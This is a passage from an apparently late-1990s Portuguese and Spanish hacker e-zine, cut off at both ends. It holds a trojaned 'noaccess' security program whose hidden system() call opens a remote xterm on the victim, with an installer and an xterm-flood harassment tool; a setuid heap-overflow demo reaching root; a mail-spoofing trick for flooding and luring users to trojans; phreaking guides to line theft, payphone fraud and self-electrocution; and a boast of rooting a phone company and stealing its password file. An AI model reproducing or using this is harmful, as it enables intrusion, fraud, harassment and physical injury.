em que o seriado ainda mais faz sucesso so Brasil, Venezuela, Chile e 
Argentina. Curiosamente o Mxico no  um dos pases em que o seriado 
ainda faz mais sucesso.
   Quando foi lanado, Chaves chegava a atingir 60 pontos de audincia 
no Mxico. Era o lder do horrio.
   O personagem Chapolin Colorado  uma stira aos poderosos super-heris
americanos. Se formos comparar, podemos encontrar algumas semelhanas 
entre Chapolin e outros heris, como por exemplo sua marreta binica, 
que pode ser uma brincadeira com o martelo do Thor; e seu alerta das 
anteninhas de vinil quando sentem a presena do inimigo (sentido de 
aranha?).
   O criador dos Simpsons era mais um dos fs de Roberto Gmez Bolaos.
Em vrios episdios do desenho animado The Simpsons aparece o personagem
Homem-Abelha Mexicano, um sujeito baixinho e gordinho vestido de abelha.
Trata-se de uma homenagem ao Chapolin Colorado.
   A equipe de dublagem fazia o que podia para dublar os episdios de 
Chaves em que o Professor Girafales dava aula de Histria.
   At que, no ltimo deles, a equipe desistiu de dublar com a Histria
do Brasil, deixando a Histria do Mxico.


-----EoF-----










        _xXXXP^''                    ``^YXXXx_
     _xXXXXP~  09 - Overfl0w Dictionaty  ~YXXXXx_
  _xXXXXXX(                                )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
  ~YXXXXXX(                                )XXXXXXP~
     ~YXXXXb_        Cheat  Struck       _dXXXXP~
        ~YXXXbx..                    ..xdXXXP~


   Nao se desespere! Nao eh OUTRA materia explicando como xploitar um
buffer overflow. Aki vc vai encontrar a explicacao de diversos termos
usados por programadores de xploits para buffer overflows.
   Como as vezes issu e' confundido pelo povo, decidi explicar a dife-
renca nas tekneeks e o significado de certas palavras para que da
proxima vez q vc ler algo sobre isso, nao fike viajando.



Bind-Shellcode
##############
   O nome mesmo ja diz. Eh um shellcode q bindeia uma porta para, na
maioria das vezes, abrir uma shell remota.




Break-chroot
############
   O chroot cria um ambiente restrito a certos usuarios.
   Um exemplo classico eh encontrado no ftp. Mtos begginers ao entrar num
ftp restrito (com login anonymous) pensam estar na raiz do sistema ao 
darem "cd /". Na verdade eles estao no diretorio "/home/ftp". Issu eh uma
restricao do chroot.
   Esta tecnica quebra a barreira criada pelo chroot.



Heap Overflow
#############
   Eh o termo usado qdo nosso xploit atinge a area de dados do programa
bugzado e sobrescreve o ponteiro de certas funcoes ou variaveis.
   Parece confuso?? Bem... esta tekneek foi bem explicada na BOS pelo
Thiago Zaninotti (c0nd0r). A materia se encontra nesta zine.



Offsets
#######
   Sao numeros q sao somados ou diminuidos a um endereco inicial ate' que
o Return_Address do buffer exploitado seja alcancado.



Return-into-libc
################
   O Return_Address eh modificado apontando direto para as funcoes na
libc. Como mostrado no projeto Omega (f3-00.txt).



Return-into-stack
#################
   O Return_Address eh modificado direcionando para o Shellcode, localizado
na propria pilha. Encontrado nos primeiros exploits de buffer overflow e
ainda e' usado nos mais atuais.



ShellCode
#########
   Eh um codigo em Assembly que sera colocado no buffer. Assim que o 
buffer for xploitado, o programa continua a partir deste shellcode.
O que o codigo faz pode variar de simplesmente abrir uma shell local,
inserir uma conta nova ou abrir uma shell remota.



Stack Smashing
##############
   Acontece quando colocamos dados de mais em um determinado espaco loca-
lizado na pilha. Eh o que caracteriza o Buffer Overflow.



   Issu ae. E antes que voce comece a resmungar eu vou dizer q concordo
que esta materia eh basica d+ e foi colocada aki mais para encher linguica.
Na verdade ela foi feita para tirar duvidas de alguns amigos meus que ja
receberam esta materia. Ela nao seria publicada aki mas como o carnaval ta
acabando e eu to sem nada melhor para preencher a zine, ae esta. =)
   Se nao serviu em nada para voce, desculpa.
   Se ajudou voce, de nada.










        _xXXXP^''                    ``^YXXXx_
     _xXXXXP~  10 - Mandando y Spoofeando ~YXXXXx_
  _xXXXXXX(    Mails Falsos de Latin Mail   )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
  ~YXXXXXX(                                )XXXXXXP~
     ~YXXXXb_          l_l         _dXXXXP~
        ~YXXXbx..                    ..xdXXXP~


Hola a todos:
El motivo de este mail es para informarles que ya ahy otro servidor de mails
que pueden mandar mails con otra identidad o spoofear un mail de x persona.
Bueno como he checado en otros ezines dicen que hay paginas para mandar mails
con otra identidad pero nunca vi la direccion de latinmail. Por eso les mando
este truco.
La pagina es www.latinmail.com
pero el truco es meterse a esta direccion www11.latinmail.com ahy les va a 
salir todas las carpetas que tiene latinmail, pueden ver lo que otros usuarios
mandan archivos anexos al mensage.
pueden ver las imagenes y archivos que usa latinmail para que funcione su pagina.
 
Bueno, ya les voy a decir como mandar mensages con otra identidad por ejemplo 
bill_gates@mocosoft.com esto hace que mande mails a todos los usuarios de 
latinmail y vean lo que ustedes escribieron.
Pero pobre de la persona que le pusistes de quien mandaba porq de seguro al 
dia siguiente va a tener como 1,000 o mas mails en su correo (solo si los usuarios
le contestan)
Podrian tambien pasarse como el webmaster de latinmail informandolos de que 
tienen problemas y que tienen que bajar algun archivo x que de seguro uds. van
a poner la direccion de algun virus o troyano para que se infecte esta persona.
Pero cuidado de no abusar con esto pues podrian bannearlos y joderse.
El truco es este:
En tu navegador por la direccion www11.latinmail.com luego hasta abajos buscas 
la pagina todos.htm ahy le aprietas y luego en donde dice De (ej: Alexito 
[alex@latinmail.com]):  pones el mail de quien quieres floodear o pasarte por el
y luego donde dice asunto ponen lo que ustedes quieran y el mensage.......
!!!!!!!! Y LISTO!!!!!!!! A mandarlo...... Y en unos instantes ese mail le 
va a llegar a todo los usuarios de latinmail...........!!!!!! :o)
Bueno esto sirve para que al usuario que le pusistes lo floodes el mail........
Esto le paso a un amigo que me copio este truco y se paso de lanza con mi truco
que descubri yo.....  Pues yo vi que le llegaron como 1, 500 msg de todos los 
usuarios......
Y si tu tienes mail en latinmail de seguro te llego el mensage.......
Bueno en esta pagina ahy programas que sirven para que la pagina de latinmail 
sirva..... Lo malo es que unos de esos estan protegidos con contrasea porq 
estan comprimidas con el winzip.....
Bueno pues crackealo y ya!!!!!! todavia yo no lo crackeo pues apenas lo 
baje......!!!!! :o(
 
Bueno si descubro otra cosa mas, seguro que lo mando a esta ezine para que
lo publiquen.......
 
ADIOS
Y diviertanse con este truquillo, PERO NO ABUSEN!!!!!!!!!!!!
 
P.D ECHENLE GANAS ADIDAS Y LOS DEMAS CONTRIBUYENTES DE ESTA EZINE, ES BUENA ESTA EZINE
SE DESPIDE DE USTEDES 
l_l

suli_cool@yahoo.com.mx










        _xXXXP^''                    ``^YXXXx_
     _xXXXXP~     11 - Heap Overflow:    ~YXXXXx_
  _xXXXXXX(       exemplo simplicado       )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
  ~YXXXXXX(                                )XXXXXXP~
     ~YXXXXb_           c0nd0r           _dXXXXP~
        ~YXXXbx..                    ..xdXXXP~


Nota: Esta materia saiu na lista de discucoes BOS (www.securenet.com.br)
e esta sendo publicada com a autorizacao do autor. Outros trechos do
email foram cortados para a materia na fugir do assunto.



-------------

A tecnica de heap overflow e' pouco utilizada pois traz muitas
limitacoes. Em primeiro lugar, lembramos que a regiao de dados tambem e'
executavel e pode ser utilizada para que um determinado range de
instrucoes sejam executadas. Mas como fazemos isso ? E' preciso
sobrecrever o ponteiro de uma determinada funcao (designada como
estatica) para que venhamos a executar nosso codigo.

Um outro uso logico do heap overflow e' alteracao de variaveis com o
proposito de conseguirmos imputar dados arbitrarios e explorarmos o seu
uso durante o percurso do codigo. Um bom exemplo:

<++> heap/heap.c
#include <stdio.h>

int main ( int argc, char *argv[]) {
 static char buf[6], buf2[20];

 if ( argc < 2) exit(-1);

 fprintf ( stderr, "Momento 1 | buf %p(%s) | buf2 %p(%s)\n",
                   &buf, buf, &buf2, buf2);
 strcpy ( buf2, "/bin/ls");
 sprintf ( buf, "%s", argv[1]);

 fprintf ( stderr, "Momento 2 | buf %p(%s) | buf2 %p(%s)\n",
                   &buf, buf, &buf2, buf2);
 execl ( buf2, buf2, (char *) 0);
}
<-->

Eis os testes:

condor:~$ id
uid=1001(condor) gid=100(users) groups=100(users)
condor:~$ ls -la heap
-rwsr-xr-x   1 root     root        12422 Aug  4 07:28 heap
condor:~$ ./heap AAAA
Momento 1 | buf 0x8049734() | buf2 0x804973a()
Momento 2 | buf 0x8049734(AAAA) | buf2 0x804973a(/bin/ls)
t  t.c

// Percebam que nao estou atingindo a pilha (0xbfff) e sim a area de
// dados (buf 0x8049734 e buf2 0x804973a).
// Eu alimentei o buf com os argumentos da linha de comando (argv) e
// o system executou o que continha no buf2 ("/bin/ls")

condor:~$ ./heap AAAAAAA
Momento 1 | buf 0x8049734() | buf2 0x804973a()
Momento 2 | buf 0x8049734(AAAAAAA) | buf2 0x804973a(A)
sh: A: command not found

// Opa! Ha' algo de errado aqui. Ultrapassei os limites impostos pelo
// buf (0x8049734) e alcancei o buf2, que estava empilhado em seguinda.
// A partir dai, alterei o conteudo "/bin/ls" para "...A\0", que era o
// resto do meu argv. Tenho controle para executar qualquer comando:

condor:~$ ./heap AAAAAA/usr/bin/id
uid=0(root) gid=0(root) groups=0(root)
condor:~$

Perceba que isso poderia ser utilizado para alterar qualquer tipo de
variavel, desde arquivos de configuracao ou ate mesmo sequencias de
caracteres utilizadas para barrar algum tipo de servico.

Abracos,

-condor
www.sekure.org
 s e k u r e

aka. Thiago Zaninotti (c0nd0r)
thiago@securenet.com.br

Portal Brasileiro de Seguranca
www.securenet.com.br










        _xXXXP^''                    ``^YXXXx_
     _xXXXXP~   12 - idiot things about  ~YXXXXx_
  _xXXXXXX(          phreak                )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
  ~YXXXXXX(                                )XXXXXXP~
     ~YXXXXb_        Cheat Struck        _dXXXXP~
        ~YXXXbx..                    ..xdXXXP~


   Relaxa...
   Aki soh vao algums truques legais para se fazer com telefones.
Sao coisas totalmente idiotas e, algumas, inuteis entao nao tente tirar
bom proveito deste texto. Soh divirta-se.


what u will find here...
########################

  1. Coisas basicas sobre telefonia
  2. Boxes
    2.a. Crimson Box
    2.b. Busy Box
    2.c. Bud Box
    2.d. Beige Box
    2.e. Yellow Box
    2.f. Tan Box
  3. Redirecionamento
  4. Brincando com sons do telefone
  5. O truque do diodo
  6. Ligando uma lampada num telefone
  7. Tome choque



1. Coisas basicas sobre telefonia
#################################

   Vamos comeca pelo seguinte: O sistema brasileiro telefonico opera
em uma fiacao dupla. Um par. Linha A e B. O americano opera em 2 pares
utilizando linhas A, B, C e D. Este eh o principal motivo para muitas
boxes americanas nao funcionarem aki no Brasil.
   O telefone fixo recebe continuamente uma corrente de 12v. Este circuito
soh eh fechado ao tirar o telefone do gancho mas esta' sempre alimentado.
A voltagem aumenta para 46v qdo voce recebe uma ligacao. Isto ativa a
campainha do telefone. Apos atender o telefone a corrente baixa novamente
para 12v.
   Caso voce utilize 5 extencoes e um telefone em cada, quando a CT lhe
enviar o sinal de chamada os 5 telefones simplesmente nao irao tocar. Pq?
pq como os telefones encontram-se em um circuito paralelo, a intensidade
ira' dividir-se em 5 e os telefones nao receberam forca suficiente para 
acionar a campainha.
   Ao discar para algum numero, o telefone envia em cada digito uma
frequencia sempre na faixa de 10hz. A Central Telefonica identifica os
numbahs atravez do CPA.
   Telefones Publicos sao um pouco diferentes. 
   Existem 2 metodos mais comuns de cobranca. No primeiro a CT envia ao
aparelho telefonico uma frequencia de 12KHz. Eh o sinal para que mais um
credito seja cobrado. 
   O Outro, que esta sendo cada vez menos utilisado, eh o metodo de inversao
onde a CT inverte a polarisacao de -48v para +48v e vice-versa. Este
metodo de cobranca anda sendo pouco utilizado ultimamente pois esta sujeito
a falhas.
   Nota: Todos os TPs a cartao sao facilmente programaveis tendo uma chave
deles para poder abri-los. Se alterar o metodo de cobranca, voce pode ligar
gratuitamente pois o telefone nao interpretara o sinal da CT como um sinal de
cobranca. Ex: A CT envia 12KHz mas o telefone esta esperando q a tensao seja
invertida para que cobre creditos (como isso nao acontece...).




2. Boxes
########

   Aki vai uma lista de boxes simples que funcionam tanto aki no Brasil
qto nos EUA pois o sistema de fios nao tem muita importancia nestes casos.
   Ah! Releia o titulo desta materia. As Boxes sao tudo idiotas pois basta
fucar um pouco nos fios e ela esta feita. Eh ridiculo certas coisas que
sao consideradas boxes por phreax0rs. Mas vamo lah!



   2.a. Crimson Box
   ################

   Basta ligar a fiacao telefonica em um interruptor qquer (pode ser
de luz, qquer um). Com isso voce "liga" e "desliga" a linha quando
voce quizer bastando apertar um botao.



   2.b. Busy Box
   #############

   Esta eh a box mais ridicula ja existente porem mesmo assim eh considerada
uma box. Vamos ver a descricao dela:

   * Busy Box : No permite que a linha seja utilizada nem pra receber nem pra
                enviar chamadas.

   Sabe o que fazer??? Eh simples. Abra a sua tomada telefonica (padrao Telebras,
com encaixe para 4 pinos). 
   Como voce pode observar existem apenas 2 fios nesta tomada (geralmente vermelho
e verde). Issu por que o sistema brasileiro usa apenas estes 2 fios porem as 
tomadas ainda sao padrao americano. Observe tambem que o plugue de seu modem,
caso tenha sido comprado aki no Brasil, tambem possui somente estes 2 fios.
   Agora que vc ja conhece a fiacao de seu telefone, corte-as. =)
   Com issu o telefone nao tem linha e portanto nao recebe nem envia chamadas.
   Outro metodo eh desencapar o fio telefonico e uni-los (fio vermelho e verde).




   2.c. Bud Box
   ############

   Opa! Outra Box... Sabe qual a fucao dela???
   Utilizar a linha de outra pessoa.
   Parece interessante neh? Mas sabe qual o funcionamento dela?? Outra decepcao.
   O que fazer? Puche uma extencao da linha de outra pessoa, pode ser da casa
(facil de fazer caso vc more em um edificio) ou direto do poste da rua. 
   Tendo esta extencao conecte-a ao seu telefone ou seu modem.
   Cuidado para nao ser pego usando esta linha pela vitima do boxing, pois como
issu baseia-se numa extencao (para a vitima nao perder a linha e reclamar com
a CT que provavelmente descobririam sua box) ela pode ouvir tudo o que vc
conversa. Nota: Issu funciona inversamente tb. =)



   2.d. Beige Box
   ##############

   O objetivo desta box eh obter ligacoes gratis de TPs.
   Pode ser feito com um notebook (com modem) ou um telefone normal.
   O negocio funciona assim: A CT envia um sinal para o TP que eh inter-
pretado pelo aparelho telefonico do respectivo orelhao. Um aparelho
telefonico fixo ou um modem nao reconhecem os sinais de cobranca.
   Entao substituindo o telefone publico por um telefone comum ou seu 
modem voce tem uma linha telefonica todinha pra voce. Gratis!!
   Basta cortar os fios do TP e ligados a fiacao do seu.





   2.e. Yellow Box
   ###############

   Issu eh ridiculo. Esses phreakers chamam qualquer coisa de box.
   Yellow box eh uma das boxes mais antigas. Ela eh simplesmente uma
extencao da linha telefonica.
   Aposto que voce ja fez uma mesmo sem saber que estava fazendo uma box.





   2.f. Tan Box
   ############

   Solde os fios do telefone a outro par de fios ligados a um pino macho.
   Penetre o pino macho num orificio de qualquer gravador e apos a ligacao
ser feita REC!
   C vc ainda nao captou o espirito desta box ela simplesmente grava conversas.




3. Redirecionamento
###################

   Ja existem diversas companias (tipo SIGA-ME) que habilitam esse
servico. Voce pode usa-la de modo produtivo com de modo anarquista
(o que veremos aqui). 
   Ateh onde eu sei, este servico soh pode ser acionado pelo proprio
telefone que for usa-lo, sendo assim eh preciso ter acesso fisico ao
aparelho da(s) vitima(s).


   * Redirecione todos os numeros de seus amigos para a casa do seu
     inimigo. =)

   * Redirecionar o numero de um programa de radio para outro qquer
     pode ser engracado qdo o apresentador nao receber nenhuma ligacao
     ao vivo.
     NOTA: Use o redirecionamento direto nao o redirecionamento em caso
           de linha ocupada ou de "ninguem-em-casa".

   * Este metodo foi apresentado no Phrack 01.
     Por volta do Natal va ate uma loja de brinquedos. Tire todo mundo de 
     perto de telefone. Ai pegue o telefone e redirecione as chamadas para
     o sr. Scott. Scott vai receber muitas chamadas (depende do tamanho da
     loja, de 100 a 600) todo dia.

   * Nao sei o que pode acontecer c vc fizer isto mas se quizer testar...
     Pode da uma locura na compania servidora do redirecionamento ou na
     compania telefonica ou nao acontecer porra nenhuma. =)
     Habilite em um telefone o redirecionamento soh caso ele esteje ocupado;
     No telefone 2 (pra onde serao redirecionadas as chamadas) faca o mesmo
     soh q redirecionando as chamadas para o 1o;
     Tire o telefone 1 do gancho;
     Com o telefone 2 disque para o 1o.
     Issu na teoria causaria um looping nos redirecionamentos. Nao sei o 
     acontece na pratica pq nao testei, acabei de pensar nissu.



4. Brincando com sons do telefone
#################################

   Qdo digo sons eu estou me referindo aos sinais telefonicos do tipo:

   * sinal de espera de discagem (tuuuuuuuuuuuuuuu.....);
   * sinal de ocupado (tu... tu.... tu.... tu....);
   * sinal de chamada (tuuuuuuuuu.... tuuuuuuuuu.... tuuuuuuu....);

   Sakou quais sao neh? Nao? Entao faz o seguinte: dire seu telefone do
gancho e ouca o barulho q ele faz. Este eh o sinal de espera.
   O que vamos ver aki eh como brincar com estes sinais telefonicos e com
outros que voce ainda nao conhece porem existem nas maioria das CTs
(Centrais Telefonicas).
   Siga os passos:

1. Retire o telefone do gancho;
2. Disque 109;

   Lembra o que faz o 109??? Ele faz com que a CT ligue de volta para o
seu numbah para testar sua linha. 
   Continue seguindo os passos...
   
3. Espere o primeiro sinal de chamada;

   Depois disso a linha imudece. O que deveria ser feito agora eh colo-
car o telefone devolta no gancho e esperar que ele tocasse. MAS nao
eh issu o q vamos fazer...

4. Coloque o telefone no gancho;
5. espere 5 segundos;
6. retire do gancho;

   Apos isso a linha ficara muda por algum tempo. Espere... As vezes
demora um pouco, outras vezes eh rapido. 
   NOTA: Voce deve retirar o telefone do gancho antes que ele toque.
5 segundos eh um tempo estimado.

   Depois de esperar um tempo o telefone emitira' alguns ruidos loucos.
   Agora aperte os numeros do teclado. Cada numero emitira um sinal
diferente cuja funca ainda nao descobri. =)

   O que aconteceu aki segundo minha deducao foi o seguinte:
   Ao ligar para o 109 a chamada cai num servico automatico da CT. Este
servico apenas reconhece o seu numero porem nao aceita sua ligacao. Ele
espera que voce coloque o telefone direto no gancho para enviar devolta
um sinal que sera interpretado por seu aparelho telefonico como uma
chamada. Porem, aparentemente este servico nao reconhece c o telefone
esta fora do gancho ou nao e com issu voce tem acesso aos sinais enviados
pela CT.
   O proveito que voce vai tirar disso eu nao sei. Alias essa materia 
sobre phreak nao foi feita com objetivos proveitosos e sim idiotas.






5. O truque do diodo
####################

   Para quem nao conhece este truque ainda, ele funciona assim:

   Voce coloca um diodo e um resistor nos fios telefonicos de um TP (Telefone
Publico) e assim podera' discar gratis.

   Mas vamos conhecer um pouco mais sobre este truque e seu funcionamento...

   Ja vimos que um metodo de cobranca utilizado em TPs eh a inversao de
polaridade. Colocando um diodo no circuito ele impede que esta inversao seja
feita pois a funcao do diodo eh fazer a corrente circular numa soh direcao.
   A voltagem entao cai a 0v qdo a inversao eh feita nao permitindo que ela
"inverta-se" e assim os creditos nao sao cobrados.

   Este truque soh funciona em TPs com este metodo de cobranca. Parece que
alguns TPs azuis (TPC 9400) da telefonica em SP sao vulneraveis.




6. Ligando uma lampada num telefone
###################################

   Em quanto o TomWaits se preocupa em ensinar como ligar um modem num
Telefone eu ensinarei como ligar uma lampada num telefone.
   Hehehehehe!
   Estranho neh?? Use isto para economizar eletricidade. =)
   Arrebente seu abajur e pegue aquele encaixe da lampada. Dele saem 2
fios que sao respectivamente ligados na tomada. C voce liga-los numa
fiacao telefonica a corrente eletrica passara pela lampada e a acendera.
   Mas tipo... a voltagem usada nos telefones (46V qdo toca e 12V qdo esta
no gancho) eh muito menor do que a fornecida pela compania de energia 
eletrica (110V ou 220V). Portanto a lampada tera um brilho muito fraco e
piscara' qdo vc estiver recebendo uma ligacao.
   Issu eh mto usado por surdos. Soh nao me pergunte como eles falam no
telefone. =)



7. Tome choque
##############

   Pra fechar com chave de ouro, uma explicacao rapida de como tomar choques
com telefones. Siga os passos:

1. Descasque os fios dele e segure-os com forca. Se preferir ponha-s na boca.
2. Tenha certeza de que nao esta usando nenhum calcado de borracha.
   Se voce estiver, voce pode segurar um fio com cada mao, ou segurar os 2 e
   tocar algo de metal. Tambem funciona. =)
3. Agora peca para alguem ligar para voce.

   Hurru!!! issu ae!!!
   Espero que tenham curtido este super manual de coisas idiotas sobre o phreak.










        _xXXXP^''                    ``^YXXXx_
     _xXXXXP~  13 - Wrapper + C + Xterm  ~YXXXXx_
  _xXXXXXX(                                )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
  ~YXXXXXX(                                )XXXXXXP~
     ~YXXXXb_        kamikase shell       _dXXXXP~
        ~YXXXbx..                    ..xdXXXP~




Ae, mostrarei aqui umas gracinhas q podemos fazer misturando o Wrapper
com C e Xterm.
 
O esquema eh o seguinte, o programa Noaccess (vcs jah devem ter visto)
bloqueia todos os servissos do seu computador ( telnet, ftp, finger, etc..),
ele tambem copia o IP de quem tentou acessar sua maquina deixando um aviso
do tipo:

Vc X.X.X.X, naum foi autorizado a utilizar o servisso tal...
Vc esta nos meus logs, Naum volte mais.

Se vc sabe configurar o Wrapper e entende um pouco de C, pode alterar o
Noaccess e torna-lo muito mais util. Aqui esta um exemplo: 
acrescentando um pequeno codigo no programa, ele deixa de bloquear e abre
a maquina do quem instalou. Mande esse programa pra alguem que tiver te
zuando e tenha acesso a maquina dele. O codigo que eu acrescentei faz com
que a maquina da vitima execute um comando que abre um Xterm na maquina de 
quem solicitou a coneccao. Com acesso ao shell, vc pode executar comandos
na maquina dele.
Lembre-se de que vc tem que digitar "xhost +" na sua maquina, para permitir
que o xterm seja aberto. Ae vai o prog alterado:

programa noaccess.c

<++> noaccess/noaccess.c
/* 
NoAccess 
All:All: twist /var/noacess %h %d ; \
	/bin/echo -e "%h tentou acessar %f " >> /var/log/security.log
*/ 
 
#include<stdio.h> 
#include<string.h>
int main(int argc, char *argv[]){ 
	int i;
	char str[50];
	for(i=2; i >= 0; printf("%i ",i), fflush(stdout), sleep(1), i--);
        printf("\n\nVoce , %s ,nao foi autorizado a se conectar com meu computador!\n\n", argv[1]);
        printf("Voce esta nos meus logs!Nao volte mais !!!\n\n");
	strcpy(str, argv[1]);
	if (strcmp(str, "127.0.0.1")) {
		strcpy(str, "xterm -display ");
		strcat(str, argv[1]);
		strcat(str, ":0.0 &");
       		system(str);
	}
}
<-->

Aqui vai o arquivo hosts.deny


<++> noaccess/ipcaph.d
All:All: twist /var/noaccess %h %d ; \
	/bin/echo -e "%h tentou acessar %d " >> /var/log/ipcap.log;
<-->


Aqui vai o script para instalacao automatica, coloque ele em um diretorio 
junto dos outros dois arquivos ( o noaccess e o hosts.deny ):


<++> noaccess/install.sh
cp /etc/hosts.deny /`whoami`/
cp /etc/hosts.deny ~`whoami`/
clear
echo " "
echo "**********************************"
echo "** armengado por kamikase shell **"
echo "**** instalando IpCapture 1.0 ****"
echo "**********************************"
echo " "
echo "as tentativas de log seram armazenadas em /var/log/ipcap.log"
echo " "
cat ipcaph.d > /etc/hosts.deny
gcc -o noaccess noaccess.c
chmod 555 noaccess
mv noaccess /var/
<-->


Pronto, agora excute o script. Ele faz uma copia do verdadeiro hosts.deny
e coloca-o em seu diretorio home. Mostra um texto: armengado por kamikase
Shell .. Ip Capture 1.0 e tal.. (soh pra iludir o coitado)
Quando o programa eh chamado ele testa se o IP de quem solicitou a 
coneccao foi 127.0.0.1, pois se o lamah for testar o programa provavelmente
desconfiaria do Xterm que seria criado na sua propria maquina :P .
Assim, toda vez que o IP que solicita a coneccao for 127.0.0.1, o programa
funcionarah normalmente como se fosse um prog de seguranca, bloqueando os
servicos, capturando o IP e mostrando a menssagem de sempre...

Este programa foi feito para darmos aos lammers, porem se um lamah tirado
a esperto te oferecer este prog, tudo bem, voce aceita e diz que vai
instalar :) Entao vc pega o IP dele e executa este prog que eu escrevi tambem.


<++> noaccess/kkshflood.c
/*  ********** kkshFlood ************
 *  ****** by kamikase shell ********

* Este programa abre Xterms na maquina  *
* indicada, q dependendo da configuracao*
* tornando-a praticamente impossivel de *
* ser operada, forcando a desconeccao   *

* CUIDADO: NUNCA EXECUTE ESTE PROGRAMA  *
* COMO ROOT, DEPOIS NAO DIGA QUE EU NAO *
* AVISEI :) 		 	        * 

*/ 
 
#include<stdio.h> 
#include<string.h>
int main(int argc, char *argv[]){ 
	int i,k;
	char str[50];
	printf("\n kkshflood - by kamikase shell (kksh)\n");
	if (argc!=2){
                printf("Erro:\n Digite: kkshflood endereco-IP-vitima\n");
		exit(0);
	}  
	printf(" Abrindo multiplos terminais em: %s\n", argv[1]);
	printf(" Quantidade de terminais:\n");
	sleep(1);
	for(i=10;i>0;i--){
		strcpy(str, "xterm -display ");
		strcat(str, argv[1]);
		strcat(str, ":0.0 &");
		for(k=1;k<=6;k++){
       			system(str);
			printf("%d, ",k);
		}
	printf("\n");
	sleep(5);
	printf("Nenhum \n");
	system("killall -9 xterm");
	}
}
<-->


Este programa usa a mesma tecnica do outro so que abre uma  porrada de 
terminais  seguidos na maquina do lammer, depois killa tudo
(killall -9 xterm), e depois comessa denovo :). Assim o kara naum
consegue fazer nada, pois dependendo da configuracao dele, cada Xterm
aberto rodarah em foreground, deixando o resto em background, logo, toda
hora um  Xterm abre e o outro fica em background, assim vai se repetindo e o
lamah tem que se desconectar ou entaum ficar olhando os xterms abrindo e
fechando na tela :) . Podemos abrir terminais na maquina do lamah
pq sabemos que ele provavelmente digitou: "xhost +" ( ele esta esperando
um Xterm da nossa maquina!). Se eh um terminal que ele quer, terminais ele
tera! So temos que ter cuidado para naum executarmos o programa como root
pois o terminal aberto na maquina do kara tambem o serah. CUIDADO!!

Umas dicas:
 1) naum execute o kkshflood em um xterm, pois quando programa
executar o killall -9 xterm o seu propio terminal serah fechado, fechando
tb o programa;
 2) vc pode ajustar o kkshflood dependendo dos recursos de sua maquina,
altere no codigo fonte a quantidade de xterms q sera aberto, o sleep... eu
escrevi e testei esse codigo num 133Mhz :P


kamikase shell - kksh@bahia.net










        _xXXXP^''                    ``^YXXXx_
     _xXXXXP~ 14 - RELATO SOBRE A CETERP ~YXXXXx_
  _xXXXXXX(        DE RIBEIRAO PRETO       )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
  ~YXXXXXX(                                )XXXXXXP~
     ~YXXXXb_           Overnix          _dXXXXP~
        ~YXXXbx..                    ..xdXXXP~





  RELATO SOBRE A CETERP DE RIBEIRAO PRETO
                                                           by OverniX


   Irei citar aqui uma pequena historia ocorrida comigo no dia 24/07/99


     Tudo comecou numa bela madrugada de sabado quando eu estava fucando nuns
servidores aqui do estado de sampa e comecei a ver algumas coisas interessantes
nos servers.
Bom, aih comecei a fucar numa provedora de sampa e foi onde explorando algumas
falhas consegui acesso root num IRIX 5.3 : ) 
Depois de ter hackeado esse provedor, fiquei mais animado ainda e saih por aih
procurando bugs em varios outros provedores que eu ja tinha em mente. : )
Passado algumas horas, dei uma parada a pedido do NeTrash, que me chamou pra
dah uma pesquisada num server interessante.
Depois de algumas tentativas descobrimos algumas falhas e outras infos importantes, 
mas nada de acesso root la.
Depois de alguns minutos trocando ideia com NeTrash, no meio do papo rolou
o nome da Telesp(Compania Telefonica de Sao Paulo). 
Logo pensei na Companhia Telefonica daqui de Ribeirao Preto-sp. A Ceterp !!!!
Daih entao comecei a pesquisar e testar alguns bugs e falhas e foi onde me
deparei com uma falha ateh grosseira a certo ponto...nunca imaginei q a ceterp 
tinha um sistema tao falho...a comecar pelo sistema q era um HP-UX. 
Pra entrar foi facil. Encontrei um dir de um user q tava exportavel pra todos e 
com isso foi onde consegui uma shell de um user conectado no server naquele momento.
Bom, estando nessa shell comecei a exploitar aquele sistema tao forte q de primeira
causei um overflow num programinha chamado "cu" q na maioria vem setado com suit root
e aih caih na famosa shell root # :))

Resumindo, e por fim puxei o file password pra distribuir pra galera e todos ficaram 
felizes para sempre. : )

Abaixo vai a msg que deixei no dir do root

 " Caro Admin...

 Quero te agradecer pelas centenas de senhas fornecidas por voce numa bela
 madrugada de sabado.

 Parabens.....

 Continuem sempre assim, com esse sistema podre e bugado que sempre serah uma
 honra eu logar como root e administrar essa porra q voce chama de sistema.
 Qquer coisa tamo sempre aih. "

E nao eh que os cara tentaram me pegar !!??!.. : )










        _xXXXP^''                    ``^YXXXx_
     _xXXXXP~     15 - Sempre Alerta     ~YXXXXx_
  _xXXXXXX(        Escoteiros mirins!      )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
  ~YXXXXXX(                                )XXXXXXP~
     ~YXXXXb_        Cheat Struck       _dXXXXP~
        ~YXXXbx..                    ..xdXXXP~



   Ha algum tempo atraz eu brincava com meus amiguinhos duhdinhas de um
tentar invadir o sistema do outro. Eu sempre deixava o telnet aberto e
dava uma conta para eles tentarem me 0wnar. Quando eles conectavam eu
